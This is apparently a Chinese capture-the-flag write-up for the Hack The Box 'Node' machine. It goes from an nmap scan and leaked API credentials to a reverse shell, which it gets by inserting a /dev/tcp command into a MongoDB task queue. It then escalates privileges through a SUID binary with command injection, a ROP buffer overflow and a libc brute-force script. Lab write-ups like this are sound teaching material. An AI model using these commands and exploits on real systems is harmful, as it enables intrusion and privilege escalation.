基本信息

端口扫描

22和3000:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ nmap -sC -sV -Pn 10.10.10.58
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-27 13:57 CST
Nmap scan report for 10.10.10.58
Host is up (0.071s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open hadoop-datanode Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.28 seconds

3000

实际上看header就知道是Node.js Express,nmap给出的错误结果是hadoop:

请求中有用户相关接口:

Express

users

根据api格式,直接访问api/users可以获取到所有用户信息,其中有admin:

密码就是sha256,可以解出来明文:

1
myP14ceAdm1nAcc0uNT : manchester

backup

使用这个账号密码登录进去可以获得backup:

响应实际上是backup压缩包的base64,需要自己处理下:

zip crack

zip解压还需要密码:

直接fcrackzip破解出来密码,解压:

creds

App.js里相关信息:

1
2
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

mark

上面得到的账号密码可以直接用于ssh登录mark,user flag不在这,另外还存在两个用户:

ps aux

ps发现tom用户相关进程

1
2
tom       1229  0.0  6.0 1023212 45892 ?       Ssl  05:52   0:01 /usr/bin/node /var/www/myplace/app.js
tom 1231 0.0 5.8 1009080 44000 ? Ssl 05:52 0:01 /usr/bin/node /var/scheduler/app.js

查看相关文件可以发现是从mongodb中取数据,执行命令

mongo

那就可以在mongodb中写入恶意命令,等待tom用户权限执行:

1
2
3
mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler

db.tasks.insert({cmd: '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.5/4445 0>&1"'})

/var/scheduler/app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}

setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);

});

user flag

然后等待mongodb的命令执行,获得tom shell,读取user.txt:

提权信息

suid发现backup,结合前面的backup key,下一步利用点:

那就分析这个程序:

1
2
3
4
5
nc -lvvp 4446 > backup
nc 10.10.14.5 4446 < /usr/local/bin/backup

$ file backup
backup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped

整个流程就是判断key,对输入文件名直接调用system命令进行处理,文件名那里可以溢出构造rop,也可以简单的直接换行注入其他命令

提权 && root flag

换行注入

1
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(printf '\n/bin/bash\necho OK')"

ret2got

开了ASLR,可以利用自身的system和tmp字符串,构造rop

1
2
3
4
5
6
7
8
9
10
11
cat /proc/sys/kernel/randomize_va_space
2

0x080486a0 system()
0x080486c0 exit()
0x08049ed5 /tmp/.backup_%i (the argument for system)

gcc shell.c -o shell
cp shell /tmp/.backup_%i && chmod +x /tmp/.backup_%i

/usr/local/bin/backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python2 -c 'print("A"*512+"\xa0\x86\x04\x08"+"\xc0\x86\x04\x08"+"\xd5\x9e\x04\x08")')

我们可以在tmp下写文件,那就可以将其作为system的参数:

shell.c

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
setuid(0);
system("/bin/sh");
return 0;
}

bof brute-force

暴力方式,爆破libc base构造rop:

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python2
import struct
from subprocess import call

libc_base_addr = 0xf752c000 # ldd /usr/local/bin/backup (choose an average value)
exit_off = 0x0002e7b0 # readelf -s /lib32/libc.so.6 | grep exit
system_off = 0x0003a940 # readelf -s /lib32/libc.so.6 | grep system
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = libc_base_addr + 0x15900b # strings -a -t x /lib32/libc.so.6 | grep '/bin/sh'

#endianess convertion
def conv(num):
return struct.pack("<I",num)

# Junk + system + exit + system_arg
buf = "A" * 512
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(system_arg)

print "Calling vulnerable program"

i = 0
while (i < 256):
print "Number of tries: %d" %i
i += 1
ret = call(["./backup", "qq", "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474", buf])
if (not ret):
break
else:
print "Exploit failed"

参考资料